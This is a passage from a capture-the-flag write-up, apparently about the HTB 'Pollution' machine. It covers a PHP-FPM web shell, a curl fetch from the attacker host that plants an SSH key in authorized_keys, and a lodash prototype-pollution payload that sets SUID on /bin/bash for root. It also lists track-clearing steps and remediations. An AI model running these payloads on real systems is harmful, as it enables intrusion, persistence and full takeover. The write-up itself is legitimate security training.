There are php-fpm processes running as victor. If we achieve to communicate with PHP-FPM, we could be able to execute arbitrary PHP code as victor, giving us access to his local user account. By default, php-fpm runs on port 9000. We can list listening port and check if it’s open :

www-data@pollution:/etc/php/8.1/fpm$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:6379                :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:57470           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
udp6       0      0 :::41709                :::*                                -                   
udp6       0      0 :::5353                 :::*                                -

It is.

Privilege escalation (victor)

We can try to execute arbitrary PHP code via PHP-FPM as victor. First, we need to create a malicious PHP file :

www-data@pollution:/etc/php/8.1/fpm$ echo '<?php system($_GET["cmd"]);?>' > /tmp/script.php

Then, we can try to connect to port 9000 and execute our script with cgi-fcgi :

www-data@pollution:/etc/php/8.1/fpm$ SCRIPT_FILENAME=/tmp/script.php REQUEST_METHOD=GET QUERY_STRING='cmd=id' cgi-fcgi -bind -connect 127.0.0.1:9000
Content-type: text/html; charset=UTF-8

uid=1002(victor) gid=1002(victor) groups=1002(victor)

As we can see, the id command was successfully executed by the user running PHP-FPM, which is victor. To gain access to his account, instead of executing a reverse shell, I will generate a pair of SSH keys and place my public key in /home/victor/.ssh/authorized_keys :

┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ ssh-keygen -f id_rsa            
Generating public/private ed25519 key pair.
Enter passphrase for "id_rsa" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:8XP4izfBOsomFPaGcRvXcr4PaiGBM1Azts0beUzs69w kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|     .=  ..      |
|    .. * +.      |
|     ...*.o.     |
|      B +*+.o    |
|     . OS=+*.    |
|      o = o++    |
|     . . + +oo   |
|      ... *oEo   |
|       ooooo.o.  |
+----[SHA256]-----+
                                                                                                                                                                     
┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now, we can send the public key to the target system :

www-data@pollution:/etc/php/8.1/fpm$ SCRIPT_FILENAME=/tmp/script.php REQUEST_METHOD=GET QUERY_STRING='cmd=curl%20http://10.10.15.25/id_rsa.pub>>/home/victor/.ssh/authorized_keys' cgi-fcgi -bind -connect 127.0.0.1:9000
Content-type: text/html; charset=UTF-8

Finnaly, we can use the private key to login as victor via SSH :

┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ ssh victor@collect.htb -i id_rsa 
The authenticity of host 'collect.htb (10.129.228.126)' can't be established.
ED25519 key fingerprint is SHA256:3TVNrr8OYvroehXZ0JCYv7Ooe8vo+Nnemnj9vx9aS8Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'collect.htb' (ED25519) to the list of known hosts.
Linux pollution 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
victor@pollution:~$

Local reconnaissance (victor)

In victor’s home directory, there is a pollution_api directory :

victor@pollution:~$ ls -la
total 76
drwx------ 16 victor victor 4096 Nov 21  2022 .
drwxr-xr-x  3 root   root   4096 Nov 21  2022 ..
lrwxrwxrwx  1 victor victor    9 Nov 21  2022 .bash_history -> /dev/null
-rw-r--r--  1 victor victor 3526 Mar 27  2022 .bashrc
drwxr-xr-x 12 victor victor 4096 Nov 21  2022 .cache
drwx------ 11 victor victor 4096 Nov 21  2022 .config
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Desktop
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Documents
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Downloads
drwx------  2 victor victor 4096 Dec  5  2022 .gnupg
drwxr-xr-x  3 victor victor 4096 Nov 21  2022 .local
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Music
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Pictures
drwxr-xr-x  8 victor victor 4096 Nov 21  2022 pollution_api
-rw-r--r--  1 victor victor  807 Mar 27  2022 .profile
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Public
lrwxrwxrwx  1 root   root      9 Oct 27  2022 .rediscli_history -> /dev/null
drwx------  2 victor victor 4096 Oct 15 06:11 .ssh
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Templates
-rw-r-----  1 root   victor   33 Oct 15 03:29 user.txt
drwxr-xr-x  2 victor victor 4096 Nov 21  2022 Videos

There is a good chance it contains the source code of the Pollution API. If so, it will be much easier to find vulnerabilities in it :

victor@pollution:~/pollution_api$ ls -la
total 116
drwxr-xr-x  8 victor victor  4096 Nov 21  2022 .
drwx------ 16 victor victor  4096 Nov 21  2022 ..
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 controllers
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 functions
-rw-r--r--  1 victor victor   528 Sep  2  2022 index.js
drwxr-xr-x  5 victor victor  4096 Nov 21  2022 logs
-rwxr-xr-x  1 victor victor   574 Aug 26  2022 log.sh
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 models
drwxr-xr-x 97 victor victor  4096 Nov 21  2022 node_modules
-rw-r--r--  1 victor victor   160 Aug 26  2022 package.json
-rw-r--r--  1 victor victor 71730 Aug 26  2022 package-lock.json
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 routes

According to the content of this directory, the Pollution API is running on NodeJS. In /home/victor/pollution_api/controllers/Messages_send.js, we can find the code executed when we send a request to /admin/messages/send on the API :

JavaScript
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
    const token = decodejwt(req.headers['x-access-token'])
    if(req.body.text){

        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };

        _.merge(message, req.body);

        exec('/home/victor/pollution_api/log.sh log_message');

        Message.create({
            text: JSON.stringify(message),
            user_sent: token.user
        });

        return res.json({Status: "Ok"});

    }

    return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };

When we send a message, the API calls the exec function to log the message. The merge method is called to merge req.body (the JSON user input) to message. For exemple, if we send {"text":"this is a test"}, message will be equal to this :

JavaScript
const message = {
  user_sent: token.user,
  title: "Message for admins",
  text: "this is a test"
}

The danger here with the merge method is the fact that if we send an object instead of a string, it merges every properties / sub-properties without sanitization, meaning we can pollute sensitive properties (like prototypes). This is called prototype pollution. For exemple, if we send the following data to the API :

JSON
{
  "text": {
    "constructor": {
      "prototype": {
        "property_to_pollute": "Malicious input"
      }
    }
  }
}

When calling the merge function, it will merge the property_to_pollute to message.constructor.prototype. message.constructor points to the Object constructor method, so message.constructor.prototype points to the prototype of Object. By doing so, after the merge, every instances of Object will have the property property_to_pollute equal to « Malicious input ». If we achieve to overwrite the right property on the Object prototype, we could be able to perform RCE.

We saw earlier that the script calls the exec function just after the merge. Let’s take a closer look at this function :

When calling the exec function, we can pass an Object called options. By default, this object has the property shell equal to /bin/sh. Since we can overwrite / add properties to the Object prototype globally, and options is an instance of Object, we can overwrite the shell property to an arbitrary binary or script. This will cause the API to execute the file we specify everytime a call to the exec function is made.

Privilege escalation (root)

First, we need to create the malicious file that will be executed. The following script, when executed as root, will enable the SUID bit on /bin/bash :

victor@pollution:~/pollution_api/models$ echo '#!/bin/bash' > /tmp/exploit.sh
victor@pollution:~/pollution_api/models$ echo 'chmod +s /bin/bash' >> /tmp/exploit.sh
victor@pollution:~/pollution_api/models$ chmod +x /tmp/exploit.sh

Now, we can login to the API again with the admin we gave the admin role to, and send a malicious payload to /admin/messages/send to overwrite the shell attribute of the options parameter in the exec call :

victor@pollution:~/pollution_api/models$ curl -X POST localhost:3000/auth/login -d '{"username":"test","password":"test"}' -H "Content-Type: application/json"
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc2MDUzNTg2NywiZXhwIjoxNzYwNTM5NDY3fQ.VMIBcG8wjce3a3bb5Yk_WoJXrKbWIYbM1dFXcMdIwYg"}}
victor@pollution:~/pollution_api/models$ curl -X POST localhost:3000/admin/messages/send -H "Content-Type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc2MDUzNTg2NywiZXhwIjoxNzYwNTM5NDY3fQ.VMIBcG8wjce3a3bb5Yk_WoJXrKbWIYbM1dFXcMdIwYg" -d '{"text":{"constructor":{"prototype":{"shell": "/tmp/exploit.sh"}}}}'
{"Status":"Ok"}victor@pollution:~/pollution_api/models$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

As we can see, we successfully polluted the Object prototype and triggered the execution of our malicious file. The SUID on /bin/bash is now enabled, and we can open a root shell :

victor@pollution:~/pollution_api/models$ bash -p
bash-5.1# id
uid=1002(victor) gid=1002(victor) euid=0(root) egid=0(root) groups=0(root),1002(victor)

Our effective user id (EUID) is equal to 0, which means we are root and have now completely taken over the target system.

Clearing tracks

  • Remove /tmp/exploit.sh
  • Remove test account in pollution_api database
  • Remove test account in the forum database
  • Remove test accounts in webapp database
  • Remove /var/www/.bash_history

Vulnerabilities summary

Sensitive Information Disclosure

FieldValue
Affected componentForum
CVSS 3.0 score7.2 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
ImpactAllows an attacker to get the API token to get elevated privileges on the pollution API.

This has a low impact on the confidentiality and integrity of the affected component. But since the vulnerable component is not the same as the impacted component, the vulnerability is much more severe.
Remediation propositionRemove sensitive informations from forum threads and prevent the team from sharing sensitive information on publicly accessible resources.

XXE Injection

FieldValue
Affected componentPollution API
CVSS 3.0 score5.3 (Medium)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
ImpactAllows an attacker to read local files on the system. This vulnerability only affects files readable by www-data user.

This has a low impact on the confidentiality of the affected component.
Remediation propositionDisable DTDs (External entities) since they are not needed for the API to work properly.

Weak password policy

FieldValue
Affected componentDevelopers virtual host
CVSS 3.0 score5.3 (Medium)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
ImpactMultiple passwords were stored in clear-text in the database, and weak passwords where used and successfully cracked, granting access to sensitive resources to the attacker after successful brute-force attempts.

Also, in case of a successful SQL injection, an attacker would retrieve all passwords in clear-text.

This has a low impact on the confidentiality of the affected component.
Remediation propositionEnforce a strong password policy to reduce the risk of successful brute-force or password guessing attacks. This policy should include:
– A minimum password length of at least 12 characters
– Complexity requirements, such as the inclusion of uppercase letters, lowercase letters, numbers, and special characters
– A password blacklist, preventing the use of common or previously compromised passwords
– Periodic password changes, especially for privileged accounts
– Account lockout mechanisms after a defined number of failed login attempts
– Monitoring and alerting for repeated failed login attempts to detect brute-force attacks

Users should also be discouraged from reusing passwords across different services to prevent lateral movement in the event of a compromise.

Passwords should also not be stored in clear-text in the database. Only password hashes should be stored in the database using a strong algorithm such as bcrypt or argon2.

LFI2RCE

FieldValue
Affected componentDevelopers virtual host
CVSS 3.0 score7.2 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to execute commands as www-data on the system. The attacker can leverage this to gain a reverse shell for example.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionAdd filters to the page parameter in /var/www/developers/index.php to prevent an attacker from injecting malicious payload in it.

For example, the user input could be tested against a regular expression to ensure only authorized characters are used (letters, digits and dash and underscore).

The full path of the file could also be tested using the realpath method to ensure that :
– Only PHP files are included
– Only files in the web root are included
– Only existing files are included

PP2RCE

FieldValue
Affected componentPollution API
CVSS 3.0 score8.4 (High)
CVSS 3.0 vectorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to execute arbitrary code as root on the system. This can lead to full control over the system.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionEnsure the text parameter in the user input is a string and nothing else.

Tools used

ToolPurpose
Nmap– Scan for open ports
– Scan services versions
Gobuster– Fuzz virtual hosts
BurpSuite– Analyse and modify requests sent to the web server
Pspy– Enumerate running process
John– Crack password hashes
PHP filter chain generator– Generate the payload to exploit the LFI2RCE
Base64– Decode data in victor’s proxy history
curl– Send requests to the Pollution API
Python3– Run a simple HTTP server
MySQL– Enumerate databases
redis-cli– Connect to the Redis database

Sources

Retour en haut